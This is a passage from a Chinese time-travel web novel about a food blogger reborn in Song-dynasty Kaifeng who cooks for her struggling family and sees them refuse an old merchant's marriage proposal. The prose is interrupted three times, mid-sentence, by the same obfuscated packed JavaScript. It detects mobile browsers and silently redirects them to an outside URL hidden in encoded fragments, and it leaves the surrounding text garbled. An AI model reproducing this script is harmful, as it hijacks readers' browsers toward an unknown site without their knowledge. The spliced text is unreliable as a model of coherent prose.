《汴京好食光》 1. 鸡蛋灌饼 “笃——笃！卯正二刻，天色晴明！” 拂晓将至，打更声传遍汴京的大街小巷。 甜水巷临街的一间厢房中，姜宝珠被吵醒，翻过身叹出口气。 今天是她穿越过来的第五天。 上辈子只过了二十余年，姜宝珠的人生也算大起大落：福利院长大，靠资助磕磕绊绊念完书，随后考了个不好不坏的大学，毕业后意外踩中自媒体风口，成为坐拥百万粉丝的美食博主。 到底是年轻，又没有家人帮忙拿主意，姜宝珠签合同时掉进大坑而不自知，以至于后来和MCN的官司打了一年又一年……她被磋磨得厉害，洗澡时也神思恍惚，于是脚下一滑，嘎巴一下，就这么穿越到了千年之前的大宋。 病了两日，又懵了两日，直到此刻，姜宝珠才开始有些头绪： 原身与她同名同姓，是个汴京土生土长的小娘子，家中排行第三，上头有个大三岁的长兄，还有个双生姐姐。 双生体弱，姐妹俩从小就多病，长到三岁时，姐姐宝珍高热不退，姜父姜母寻遍医馆也没能把人留住。 只余一个病恹恹的女儿，家里人愈发娇养姜宝珠，纵得衣来伸手饭来张口不说，女儿家惯会的女红刺绣，整饬酒食也不强求她学。 于是姜宝珠每日不是在茶坊吃喝，就是去瓦子看戏，除开没有丫鬟伺候，过得跟闺秀小姐无二区别。 ——此般恣意日子，穿过来的姜宝珠表示很满意。 既来之则安之。她上辈子已经够累了，重活一世，能安稳混沌地躺平，也算幸事。 撑着蒲席坐起来，姜宝珠掀开帐幔打量四周。 小小闺房，五脏俱全，架子床，顶箱柜，梳妆台一样不缺。 所有家具皆是榉木打制，浅刻缠枝莲图纹，算不得精贵，倒也十分清雅。 拿过床头的衣衫，姜宝珠穿好下床。 一阵头晕目眩。 躺过几日，原身身子更虚了。话说回来，她身子骨要能强健些，也不至于落水后那么快就脱力…… 姜宝珠默默把“锻炼身体”这一项加入日程——想躺平，但不想在床榻当药罐。 面对立柜两脚分立，她心中默念：健身气功八段锦，起—— 门倏地被推开了。 手捧瓷碗的小女孩立在门外，头上用红绳缠着两个丫髻，约莫十一二岁的模样。 是原身的妹妹姜宝琦。 说起来，这个妹子其实是堂妹。原身脑中的这段回忆不算清晰：远在扬州的叔父叔母乘驴车外出，意外身亡。爹爹赶去治丧，归来时风尘仆仆，怀中还多了个奶猫一样的婴孩。 姜家夫妇心善，将这个侄女视为己出。姜宝琦长大后也是一口一个“爹”“娘”的唤着，乖巧贴心得紧…… 姜宝珠一时没反应过来，脚上踩着八段锦的起式，怔怔看着人走进房来。 “三姐姐，你可好些了？”姜宝琦将碗放在妆台上，扭头看站桩的姐姐，“先垫垫肚子罢。” 姜宝珠看向那只热气腾腾的饭碗。 一碗分不清是面糊还是米粥的流食，上面还飘了层油腻腻的黄色…… 她蹙了下眉，没应话。 姜宝琦将姐姐的反应尽收眼底，沉默着往外走。 行至门口，她忽而又转过身：“三姐姐，有些话本不该我讲——” 似是忍无可忍，女孩深吸了口气：“你心系那林家二哥儿，为何不早些与家里说？如今他娶妻，你倒寻死觅活了……这几日，阿娘为你淌了多少泪，她这般疼惜你，你可曾念过她半分？” “还有，爹爹是读书人，最在意清名。你半夜跑去林二哥儿新房，是要给人嚼舌根吗？” 姜宝珠给连珠炮似的质问砸懵了，直到听见“半夜跑去林二哥儿新房”，脑中记忆才串联成线： 前阵子科试放榜，榜上有名的林家二哥儿被榜下捉婿，痛痛快快做了盐商家的姑爷。 姜家与林家是旧邻，姜老爹还是那林二哥儿开蒙先生，自然也受邀去观礼。于是一家人高高兴兴去吃酒，还逛了富老爷为新人置办的大宅子。 回家路上，姜母不慎掉了发簪，一家人又急慌慌去寻。 这支簪是当年议亲插簪的定情物，沿路都没寻到，姜母心痛得紧。 夜晚躺床上，姜宝珠忽而想到和阿娘在偏门赏花时，人挤人的场景。她没叫醒熟睡的家人，独自冒雨出门往林家新房去，果然在那偏门草缝中找到了阿娘的簪子。 不知是乐极生悲还是怪雨天路滑，回家路上没走两步，原身便连人带簪栽进河道。再睁眼时，芯已经换了…… 对啊，她明明是寻簪子去的，怎么就成“为林二哥儿寻死觅活”了？ 不能因为落水时离林二哥儿新房近，就编排了这么一出吧？ 姜宝珠实在冤枉，如今还要被比自己小五岁的妹妹数落：“……钱发不下来，爹爹寅初刻便出门了，阿娘也同去了。这几日抓药使了不少钱，房牙子还要来收赁钱，我想在家弄些饭食，总能省出点……” 姜宝琦说着又叹了口气：“三姐姐还是将就用些罢，晌午我再寻顺口的。” 她说完便带上门出去了，留下姜宝珠半天才缓过神来。 没钱了？ 也不意外。 汴京遍地豪绅富商，姜家虽说与富贵不沾边，却也不拮据：姜父姜明远十四岁上便是秀才，而后乡试屡次不中，他便在开封府户曹谋了个“书办”的职务。 虽说是个没编制没晋升的合同工，胜在稳稳发薪，再加上平日替人读诗写信的副业，他每月总有十余贯钱入账。 这样的收入，足够平民小户宽裕生活了，奈何姜家人毫无理财意识。 就说这房子吧： 汴京居大不易，房价极高，租房是常事。按人口，他们家合该租三间房，月租顶天三贯，可如今这套有堂带院的房子，每月要五贯钱——光房租就占了收入近一半！ 对了，这家人还基本不开火。 大宋饮食繁荣，街市从早到晚各类美食卖不停，姜家人今儿买几张胡饼吃吃，明儿来两盘鱼脍尝尝，逢年过节还要去酒楼食肆打牙祭——樊楼去不起，八仙楼，仁和店还去不得么？ 有点钱全炫嘴里了，不用记账也知道这家人恩格尔系数有多高。 而且平日不做饭，厨艺可想而知…… 姜宝珠望着那碗黄油油的面糊，无声叹出口气。 拿开饭碗，她坐到妆台前的木墩上。 小轩窗，正梳妆。这方妆台应该是原身消遣最多的地方了。 曦光透过格子窗洒在妆台上，映出铜照子边缘点点锈绿。 伸手扶正照子，姜宝珠抬眸。 一眼恍惚。 镜中人一脸病容，难掩五官明艳——与她穿越之前长得极像，只眉心多了一点颇有古韵的红色小痣。 不会梳髻，姜宝珠将头发挽到脑后用红绳绑好，轻手轻脚走出卧室。 天色大亮，姜家这间临街小院也现出全貌。 果然，钱花在哪儿，哪儿就好。 这月租五贯的房子不仅带院，还有方方正正的堂屋。堂屋西边厢房自是女儿闺房，东边还有两间房，大的一间为姜父姜母起居，另一间则属姜家长子姜青舟。 姜青舟去年离家后宝绮便搬入他的房间，姜宝珠也得以独享西厢房。 三面房屋围出个前院，面积颇大。院墙那一片全是空地，荒草横生。 青砖主径一路通向入户大门，门边种着一颗探出墙的苹果树，另一边居然还有一口水井。 姜宝珠转着脑袋看了一圈，走向西北角柴火堆旁边 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16488880|185764||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的矮脚房。 家里不做饭，家伙什却很全。靠墙土灶有三孔，只中间一孔上面架着铁锅。 宝琦用过的火还未熄，灶膛里跳动着零星红光。 姜宝珠翻了翻灶台和木橱，找到一罐不知名豆酱，一罐新熬的猪油带油渣，一小袋面粉，以及几个粘着鸡毛的鸡蛋。 大脑还未明确指令，她已经撸起袖子，舀起一瓢水倒进铁锅。 以前学做柴火鸡时姜宝珠就使过土灶，如今虽然生疏，火好歹是生起来了。 烧水间，她舀了两勺面粉进木盆。 后世常见的雪□□细的面粉，在这儿怕是只有富贵人家用得起。老百姓家常用的都是这种带麸皮，灰灰黄黄的连麸粉。 轻轻吹掉麸皮，姜宝珠在面粉中先倒入烧开的热水，再缓缓加凉水，面粉很快在筷子的搅弄下变成面絮。 麦粉偏粗，吸水后粘手粘得可怕，姜宝珠不着急，将面粉揉成团后放到一旁松弛片刻再揉。如此反复三次，她终于揉出一个光滑的小面团。 面团一分为二，捏成柱状的面剂子，她起锅烧化猪油，开始做油酥。 小碗里放一大勺面粉加盐，滚烫的热油淋上去，再慢慢搅和成酸奶一样的流质，稀油酥就做好了。 热油的香气激人食欲，姜宝珠擀面的动作也快起来：面剂子擀成巴掌大的面皮，油酥从中间往四周抹，不涂满，没涂油的四条边叠小被子一样折起来，把油酥牢牢裹面皮里。 粗面延展性不好，姜宝珠擀得很小心，面杖一点点往边缘推，生怕把油酥擀破。直到将面饼重新推成巴掌大，她才松出口气。 锅里还余一层油，面饼摊进去，“滋啦”一声，香气四溢。 等到饼皮边缘微微泛黄，姜宝珠一手打蛋进碗，另只手拿起锅铲，将煎饼翻了个面。 翻面后，抹过油酥的地方很快鼓起泡。姜宝珠拿筷子戳开面泡泡，将打散的鸡蛋灌进去。 金黄的蛋液缓慢流淌开来，充斥整张面饼。再煎一会儿翻两次面，灌饼就变成诱人的焦黄色。 姜宝珠拿锅铲戳了戳灌饼，酥脆至极的饼皮“咔咔”直响。 ——好听就是好吃！ 要在后世，她一定会给煎饼刷上一层香辣酱，再往里夹两片生菜和煎好的烤肠……如今也只能有什么放什么了。 不知名豆酱薄薄刷一层，再撒几粒油渣。顾不得烫，姜宝珠卷起饼往嘴里送。 “嗯——” 第一口咬下去，嗓子里便不自觉溢出满足声。 煎饼还是用猪油最香！ 起层的外皮酥得掉渣，内里却是松软的，口感特别丰富。 油渣也一点不腻，嘎嘣脆的在齿间咬开，混合豆酱与蛋香，瞬间盈满口腔。 好几天没好好吃东西，姜宝珠吃得飞快，没一会儿，一张鸡蛋灌饼就下肚。 她缓缓舒出口气。 胃不再空荡荡，心也就跟着踏实了。 果然不论古今，食物都是安慰自己的好办法…… 将剩下的一个面剂子也煎成饼，姜宝珠犹豫片刻，拿油纸裹起饼离开厨房。 行至前院，和东厢房出来的小姑娘正打上照面。 姜宝琦刚在房中抠抠搜搜数了半天的铜子儿，这会儿正要去买鱼羹。 她三姐姐是个挑嘴的，鱼羹偏要宋嫂的——比旁人家又贵五文，唉…… 转身看见人蓬头走过来，手中还拿着什么，姜宝琦心头一紧：这又买什么吃了？怎就一刻都等不得…… 正欲开口，院门突然被急促叩响。 “琦姐儿——琦姐儿可在家？天爷哟，出事了！” 姜宝琦愣了下，连忙去开门。 门外人已扒着门缝朝里唤：“听府衙当差的说，你爹爹攥改税册，眼下已锁在签押房了！” 2. 鸡蛋灌饼 卖豆腐的王婆嗓门恁大，姜宝琦门还没打开，看热闹的邻居已经聚过来了。 小姑娘不搭王婆话，红着脸快速闭合院门，撒开腿往开封府衙跑去。 余姜宝珠呆立在院中，手里还举着没送出去的鸡蛋灌饼。 纂改税册？ 她赶紧捋了捋记忆：姜老爹在衙门当书办这些年，连张纸都不曾往家顺——这般胆小又清高，他敢纂改税册？ 上辈子也当过牛马，姜宝珠很了解姜老爹这种底层合同工的处境——好事轮不到，麻烦少不了，妥妥大怨种一个。 这一回，怕不是给人背锅了？ 如此一想，她头又突突疼起来。 没养好的身子也开始脱力，脚步都虚浮起来。姜宝珠强撑着将煎饼放去灶房，头重脚轻地走回西厢房。 直到院外没了声音，家里也没人回来。 姜宝珠合衣躺到床上，不知不觉昏睡过去…… 再醒来时，四下漆黑一片。 院里有动静，并不响，脚步声都刻意压着。一阵窸窣后，东厢房那边亮起光。 姜宝珠躺在床上听了会儿，摸黑起身，悄无声息地出了门。 东厢的小房已熄灯，旁边那间还亮着。姜宝珠躬身凑到门后，正听见里面谈话声。 “……能下地走动，也有了胃口，想是大好了！我去煎药，叫她再喝下一服去。” 姜明远叫住娘子：“由她睡吧，睡熟也是养元神。汤药明日再煎。” 付惜音点点头坐回去：“听你的。” 姜明远叹出一声：“珠儿这场病幸是熬过来了，再多几日，怕是抓药钱都没有……都怨我，差事丢了不说，家里的钱这下还都填进去——” “怎能怨你？”付惜音立即道，“分明是那刘孔目不做人！自己捞油水不成，偏拉你下水。若不是怕你在签押房里受罪，我岂肯填那钱！” 果然是给人顶包了啊。姜宝珠在心里咕嘟道。 “有甚用？”姜明远无奈摇头，“刘孔目他舅子在吕相府当勾当，府尹都让他两分。” 付惜音恨恨啐了口：“黑心人手下讨食，这钱不赚也罢！明儿我就去大相国寺后的绣局寻活儿，不信凭我的手艺挣不回钱来！” 姜明远急摆手：“巷口书铺的王兄已同我打过招呼：他全家明日下扬州送女出阁，托我看铺两月。我勤快些，再接些抄书的活儿，进项不比衙门少。绣活儿恁费眼，娘子莫遭罪！” “替人看铺……终究不长久。过几日还要交赁钱，若拿不出，那房牙婆又要讲难听话了……” 付惜音看了眼官人神色，试探道：“要不，还是写信将青舟寻回来吧？” “叫他回来作甚！” 提及长子，姜明远瞬间黑脸，他重重哼出一声：“那孽障，只会挥拳舞棒！” 对于这个长兄，原身姜宝珠的记忆与感情都颇深： 他生了一张跟秀才爹一样的温润脸，素衣之下却一身肌肉，孔武有力。 天生的武人体魄，读书方面便不太灵，被姜老爹压着勉强考过院试后，再说什么都不肯进书院继续念了。 ——各种拳法倒是学得很快，棍棒刀枪也越耍越溜。 如此这般，姜明远哪能乐意。他这辈子入仕无望，就指着这个儿子科举中第，光耀门楣呢。 父子间的矛盾越来越深，终于在去年上元节时一触即发： 姜老爹挥起儿子的长枪，追了满院也没打着人，遂恼羞成怒，一把火烧掉了人家的铺盖。 翌日姜青舟愤然南下，还放言不闯出名头来不归家。 如今他人走了小半年，上月才发来一封平安信。付惜音读完好生哭了一场。 虽说和老爹不睦，姜青舟却对母亲十分敬重，也很疼爱两个妹妹。 姜宝珠生得漂亮，性子又骄纵，外头不少说嘴的，但凡给姜青舟听见，定要一巴掌打得人原地转三圈。 唉，这个哥哥若还在家，来收租的牙婆但凡刻薄一句，都得变成无牙婆…… 长兄是家里人的心头病，提及便各怀心事。房中沉默良久，直到姜明远“唔”出一声：“何时买的烧饼？” 付惜音“哦”了声：“我在灶台旁瞧见的，想是琦姐儿烤的。我们吃过水饭了，给官人垫垫肚子罢。” 一块饼，没什么好推辞的。姜明远就着油纸拿起来——若不是饿了一天，这冷饼他也不想吃。 咬下一口，姜明远愣住：“这饼……” “怎的？”付惜音紧张道，“没熟？” 姜明远摇头，仔细端详这看起来平平无奇的灌饼：“绮儿竟这般会烤饼？” 付惜音将信将疑：“好吃……吗？” “香！” 姜明远重重点头，又猛地咬下一大口灌饼：“这冷饼一点不硬，还麦香十足，松软筋道——唔？” 他眼睛倏然一亮：“竟还裹了油渣，怪不得越嚼越香！啧，这豆酱也加得巧思，咸香搭配，方不腻味！” 姜老爹抑扬顿挫，感觉下一刻就要来一篇“烧饼赋”了。 付惜音看自家官人吃得摇头晃脑，将“与我尝尝”四个字硬生生咽回肚中…… 姜明远也是，平时寻到好吃的总会巴巴给娘子端来，这会儿愣是想不到给人让两口，三下五除二就将一张饼吃光。 他意犹未尽地砸吧嘴：“啧，不比那桥头的李婶烧饼逊色……奇了，你说绮儿这一手随了谁？” 付惜音不加犹豫：“自是随我。” 姜明远嗤地笑出来：“哦，成亲二十余载，我竟不知娘子擅烤饼？” 付惜音语塞：“我……我下灶虽不勤，手艺却不差，你怕早忘了——刚成亲那会儿我揉的水滑面，你哪回不是吃的渣都不剩？” 姜明远捻了把胡须尖，笑：“呵，娘子那时总坐我对案，那般秀色可餐，便是一碗清水，也叫人醺然欲醉。” 付惜音脸红了，嘴却翘起来：“老不羞！油嘴滑舌！” “……” 似乎有些不太对劲。 姜宝珠正要自觉走人，房内人忽然话锋一转，又说回到她身上。 “……珠姐儿也该学几道压箱菜，往后好堵住婆家嘴。” 姜明远不满咂舌：“油烟熏呛，何苦逼她？没得再勾出病来……” 顿了下，他又沉声：“我要为珠儿寻一门好亲事，夫婿能耐，婆母慈爱，绝不叫她被刻薄！” “如此那然好，只是……”付惜音苦笑了下，“珠儿的嫁妆今日也给填进去大半，如今连套像样的头面都凑不出，即便有良媒，也难成事啊……” 这话倒不假。姜宝珠在心里附和道。 大宋厚嫁风气盛行，连官家都吃不消——公主出降的陪嫁花费，是皇子娶亲的十倍。 上行下效，民间嫁女也一样，好些卖房卖地也要厚嫁。 那林二哥儿的老丈人就给女儿准备了实打实的十里红妆，好家伙，足足四百人抬送嫁妆，十余里的队伍一路锣鼓喧天，十分气派。 姜明远不说话了，沉默的时间比之前都要长。再开口时，他语气沉郁：“总有法子的。我定为珠儿备下厚厚陪嫁。娘子，你也相看着些，珠儿及笄已两年，耽误不得了。” 付惜音“嗳”的应声：“我晓得。家中如今这般……她早日嫁人，也好过同咱们一道受罪。” 房内谈话还在继续，姜宝珠脑中嗡响，什么都听不到了。直到回房躺到床上，才后知后觉打出个寒噤。 她上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16488881|185764||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 辈子念的是资助性质的女校，那会儿同学间会开玩笑：不好好学习，可是要被抓去结婚的哦。还要生八个儿子！ ——可在封建时代，这绝不是玩笑。 或许要不了多久，她就会受父母之命嫁给一个陌生男人。与他一大家子搅和在一起，少不了伏低做小，还要酷酷生孩子。 ——真要这样，当初还不如一头攮死在浴缸来得痛快…… 被这样的焦虑和恐惧抓住心脏，姜宝珠一晚上都没睡好，梦里全是霞帔盖头，花轿新房，成片的大红色压得她近乎窒息…… 再醒来时，后背都汗湿。 窗外艳阳高照，她醒得比昨日晚很多。院中似乎很忙，脚步声来来回回，门也开合不停。 在床上翻来覆去好一会儿，姜宝珠还是起来下了地。 总不能坐以待毙吧。 哭闹打滚也好，装病装晕也罢，姜家父母如此溺爱原身这个女儿，这婚事总能拖过一时。 ——可能拖到什么时候呢？ 她之前怎么会如此天真地认为，自己能一直躺平混日子呢…… 梳好头发正要出去，外头突然嘈杂。 女人的声音与叩门声同时响起：“姜相公，付娘子，给二位道喜啦！” 正洒扫院子的付惜音愣了下，快步走过去。 院门打开，她先瞧见探头探脑的街坊四邻——他们家的热闹这两日就没停过，快成这甜水巷里的戏台子了。 视线一转，又看见头簪红花的妇人。 付惜音和赶来的自家官人对视一眼。 ——这是个媒婆。 还是个穿紫色褙子，专给富贵人家说合亲事的媒婆。 将人迎进院，付惜音将好奇的视线关到外面，却没关住媒婆的大嗓门。 她甩着帕子扭进门，笑出三叠颤音：“哎哟哟，老身踏破了鞋，总算觅得这桩良缘！” 昨夜还在忧心女儿亲事，不想这说来就来。姜明远定下心神，客气开口：“有劳媒婆。敢问……是哪家君子托您说合？” 媒婆答：“秀才识得，正是那城东郑员外——哎呀，这满东京的盐船，十艘有八艘都是他家的！” 姜明远看向身旁娘子，两人皆是满脸惊愕。 这位郑员外他们才见过，就在那林二哥儿的婚宴上。当时他们还纳闷，怎么林二哥儿老丈人会这般殷勤，听旁人说了才明白：虽都是盐老爷，可这位郑老爷是捏着他人商脉的，据说盐路直通天家！ 那日坐首席的除了郑员外，还有他膝下七个大儿子。其中长子次子已娶妻，余下五人也都到婚配年龄。 姜明远神色淡下去：“我寒门小户，不敢高攀。” 顿了下他又继续：“再者，我姜家有祖训：宁为小户妻，不做高门妾！” 他心里头清楚着呢：虽说读书人受推崇，可郑员外是数一数二的豪绅巨富，怎会跟自己这个没前途的老秀才结亲。 无非是那公子哥贪恋珠儿美色，想收房姨娘罢了。 媒婆怔住，一甩手帕笑：“哎哟我的秀才公，这话可冤死人了！” “郑员外是要三媒六聘，大红花轿迎千金做正头娘子的！” 她咳了一声，拔高嗓门：“郑老爷还说啦，不要陪嫁，他愿千金为聘，尽数充做姜家姐儿妆奁！” “千金”两字像炸开的炮竹，门外的抽气声此起彼伏。 姜家夫妇亦目瞪口呆。 片刻，付惜音先回过神，嗫嚅着开口：“那……提亲的，是郑员外的哪位公子啊？” 媒婆的笑容僵住，脸上的粉仿佛裂开条缝：“啊这，这……老身方才不是说了么——” “是郑老爷自己要娶亲啊——他原配夫人都殁三个月啦！” 3. 鸡蛋灌饼 房内，姜宝珠如遭雷劈，整个人都懵了。 郑老爷要娶她？ 那个年纪比她秀才爹还大，膝下已有七个大儿子的老鳏夫？？ 真让她去生第八个儿子啊？！ 她这厢还没反应过来，屋外已冷声回道：“小女蒲柳陋资，难堪此配，媒婆请回吧！” 媒婆怎听不出姜明远话中愠意，立刻赔笑道：“秀才公莫急，郑员外虽年岁长些，可家财万贯。令千金过了门，定然穿金戴金，一世富贵——” “住口！”姜明远喝道，“我姜家虽寒门小户，断不会卖女求荣——” “这确是桩良缘。”付惜音忽然开口。 姜明远好似被人扼住喉咙，愕然看向自家娘子。 媒婆也愣住，随即眉开眼笑：“可不是嘛！哎哟还是当家娘子慧眼如炬！” 付惜音上前一步，继续道：“只是小女体弱福薄，撑不住这泼天的富贵。不如……我也做媒一回，另牵线如何？ 媒婆没料到这一遭反宾为主，笑脸又僵住：“……娘子且说？” 付惜音冷呵一声，陡然变脸：“媒婆何不将这郑老爷说与你老母！年岁匹配，定是佳话，来日老母托上你这油瓶做了填房，有员外这富贵新爹，媒婆便也能穿金戴银，一世富贵了！” “……” 死寂般沉默片刻，院外有人“噗嗤”出一声，不知是哪个听墙根的笑出声来。 媒婆涨红脸，抬起的手帕都在抖：“你满嘴瞎喷甚么沫子！亏老身还敬你们是读书人家——” “我呸——” 付惜音索性将这媒婆话坐实，实实在在啐人一口：“那也好过你走街串巷装媒婆，实则鸨母做派！” “哪个是鸨母？你说谁！”媒婆挺着胸脯撞上来。 付惜音丝毫不让，叉腰迎上去：“谁在我院中喷粪我就说谁！你娘生你时把腚沟生嘴上了不成啊！” 姜明远猛吸一口气，转过身往房里去了。 见人不说话离开，媒婆得意笑了：“付娘子，积些口德罢，看把秀才公臊的，没得嫌你粗鄙！” 付惜音正欲回嘴，媒婆又一甩帕子抢先道：“我何尝不是为你打算，谁不知你家姐儿体弱多病，懒惰骄纵？她爱慕林家哥儿，嫁不成，竟摸黑听人新房墙根，简直臊行！论妇德，妇功，妇容——” 这“容”好像还真没法喷。 她翻了个白眼，另起话头：“如今秀才丢了衙门职务，这钱袋里，怕都碰不出响儿了吧？要我说，郑官人已是上上良配，你家姐儿再拖两年，怕只有鸨母肯登门——” “老虔婆！你竟敢——”付惜音气得浑身发抖时，一道人影忽然从房中闪出。 “腌臜老货——” 姜明远举着儿子的长枪冲出来，朝着媒婆劈头就砍。 媒婆尖叫一声，圆滚滚的身子移动奇快，拉开院门就往外跑。 姜明远杀红了眼，挥着枪一路追过去。 “直狗贼！滚回你娘肠中吃粪去罢……” 围观的四邻第一次见秀才这般斯文扫地，神色各异，有惊异咂舌的，也有嗤鼻哂笑的。 隔壁院门突然打开，一个穿背搭的精壮少年，黑着脸将倚门看戏的妇人扯回家。 其余人迟迟未散，有拱火者朝院内探头：“付娘子，千金为聘啊——公主出降都没这么多吧？” “干你底事！”付惜音扭头就骂。 她正在气头上，路过的狗就要挨两脚：“滚回你家攒棺木钱罢！” 见阿娘“哐当”合上院门，姜宝琦连忙端着水碗走上去。还未就近，门又从外面打开了。 姜明远扛着枪进来，发衫皆散，好不狼狈。 “欺人太甚！”他扔下长枪斥道，“辱我家门，当我死了不成？！” “官人……”付惜音低声唤他，抬起泛红双眼，“那老货说的你都听见了？外头都在传珠姐儿德行有亏，今日闹这一遭，往后说亲可就更难了……” “听她胡吣！”姜明远不忿道，“是，珠儿是娇惯了些，可她心性纯良，绝非轻浮之人——她是我女儿，我岂能不知？” 他又重重哼出一声：“珠儿从未表明对林家哥儿有情，又怎会私自去寻他？我瞧，没得是那林家哥儿言行不端，令她会错意，才……” 付惜音沉吟片刻，点头：“是了，珠姐儿绝不会无故逾矩……呵，他林家摘得干净，我儿却重病不起，名声尽毁——都说男女大防，怎地独独苛责女子？” 姜明远幽幽叹出口气：“于林家哥儿不过韵事一桩，我珠儿却要受骂名……娘子，我们做父母的若再不为她出头，她该何等委屈啊！” 付惜音颔首，捂着心口长舒出口气：“随外头瞎嚼罢，我身上掉下来的肉，我自信她，护她。” “即便一世不嫁，也好过许那老鳏夫！只是……” 她抬手搂过身侧的小姑娘，眼睛又红了：“只怕绮姐儿被牵连，往后也不好说亲了……” “阿娘，我没甚好怕！”姜宝琦急切道，“偏听偏信者，绝非良人！” 小姑娘振振有词：“我便是一世不嫁，也绝不叫人看低我爹娘兄姊半分！” 夫妇俩欣慰笑起来，一边赞琦姐儿“好女儿”，又嗔她“憨丫头”。 院内沉闷一扫而光。 付惜音想起什么，抬脚往西厢房走：“我去瞧瞧珠姐儿——” 姜明远拦下她，朝西窗睇过一眼，压低声音说了什么。 大抵意思是刚才动静那般大，珠儿定然醒了，也什么都听到了，此刻她心里必不好受，更羞于见人。随她呆着罢。 付惜音深以为然，拿过扫帚继续洒扫。姜明远则出门为人看书铺去了。 须臾，姜宝琦也开院门出去了。 外头重归平静，日头更盛了些。 西厢房中，姜宝珠直挺挺立在窗后，唇叶念念有词般嗫嚅： 她是我身上掉下来的肉，我自信她，护她。 将这句话在嘴里，脑中翻来覆去地嚼，每过一遍，姜宝珠的心都会被一股陌生而巨大的情绪震动。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16488882|185764||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 原来，这就是血脉相连的家人么…… 怔在房中不知道过了多久，门口忽然响起窸窣。 姜宝珠还没想好要以何种姿态面对家里人，门外的脚步便又离开了。 她走过去轻轻打开门，在门槛处看见一个信封。 信没封口，打开后率先掉出一朵花来——带着发钗的绢花。 姜宝珠眉心动了动，又从里抽出一页宣纸来。 纸张展开，她轻呼出一声。 闺阁女儿多摹簪花小楷，姜宝琦练的却是瘦金体，一手字写得劲瘦疏朗： 闲言碎语传千里，龌龌龊龊不堪闻 任凭风雨狂吹打，心中自有清明在① 这段《论语》里的选句，姜宝珠之前上学时也读过，翻译过来差不多就是： 管旁人怎么蛐蛐呢，你别往心里去就完事了！ 姜宝珠唇角翘起来，又拿起随信的绢花仔细端详。 绢绸织就的一小朵海棠，花瓣细腻逼真，颜色清丽淡雅，是原身一贯喜欢的风格。 她也很喜欢。 将信笺与绢花收进妆奁，姜宝珠开始穿衣梳头，而后盯着铜照子里的自己端详片刻，她转身走出房间。 房门打开，院中人齐刷刷看过来。 付惜音定定望着大病初愈的女儿，柔声：“珠姐儿，感觉可好些了？” 姜宝珠僵硬地点头，“嗯”出一声。 “那便好。”付惜音松出口气，迈步走向女儿，“等娘再煎药——嗳，你这头怎梳得这般潦草？” 她说着，手很自然揽过去，没用梳子，三两下便给女儿重新挽好头发。 姜宝珠摸了摸脑后齐整的圆髻：“其实那夜……” 刚开口她又戛然而止。 或许，他们很快就会发现她不是原身。 又或者有一天，她会选择告诉他们一切。 要是知道女儿是为了给娘找簪子才半夜出门的，他们该有多伤心啊…… “没甚么。”姜宝珠将嘴边话咽回去，“我饿了。” 扭头对上一双关切的眼，她眸光动了动：“阿娘。” 付惜音“哎”出一声，笑纹漾开：“想吃甚么？娘去桥头给你们买宋嫂鱼羹，可好？” 姜宝珠没说话，目光落在水井旁的篮子上。 那竹篮里装着刚买来的新菜，看起来，家里是准备自行开火省钱了。 ——还不是一般的省，肉都没买，能称上荤腥的只有几枚鸡蛋…… 注意到女儿视线，付惜音道：“今儿日头毒，娘想着不出门了，在家做些水滑面……” 昨夜刚跟自家官人自夸过这水滑面，此刻，她忽而又心虚了：“要不，你和绮姐儿去买些——” “阿娘，我来做罢。” 没有任何犹豫，姜宝珠脱口而出。 付惜音怔然看着女儿，双目微瞠。 一旁没说话的姜宝琦也停下手里扫帚，讶异看过来。 姜宝珠笑眼加深：“下灶这事，女儿也想试一回。” 4. 东北大冷面 付惜音只觉头脑发晕。 莫不是昨夜回来太迟，冲撞了甚么？ 要不怎地总一语成谶——忧心婚事，媒婆便上门了；盼着珠儿学压箱菜，这油瓶不扶的，竟也主动下灶了。 阿弥陀佛，灶王爷开眼了啊！ 与身旁小女儿对视一眼，娘俩儿心下已有了计较： 这大病初愈，又是头一回下灶，万不可扫了人家兴头。 珠儿做出来的饭食只要能下咽，她们定会连夸带赞，吃个精光。 不，只要饭里没毒，足以。 不不，只要没把灶房烧着，便都好说，好说…… 姜宝珠全然不知阿娘与小妹的忐忑戚戚，兀自翻看菜篮子。 除了几枚鸡蛋，菜买了不少：胡瓜（黄瓜），胡萝卜，黄心菜（卷心菜），芫荽（香菜）都有。篮底还压着两个鹅梨。 抬头看了眼灼灼烈日，姜宝珠心中有了主意，拎起菜篮子雄赳赳往灶房走。 付惜音与姜宝琦忙不迭跟上去。姜家这荒灶房前所未有的热闹起来。 姜宝珠捡出蔬菜洗净，手上的黄瓜还滴着水，另只手已拎起铸铁菜刀。 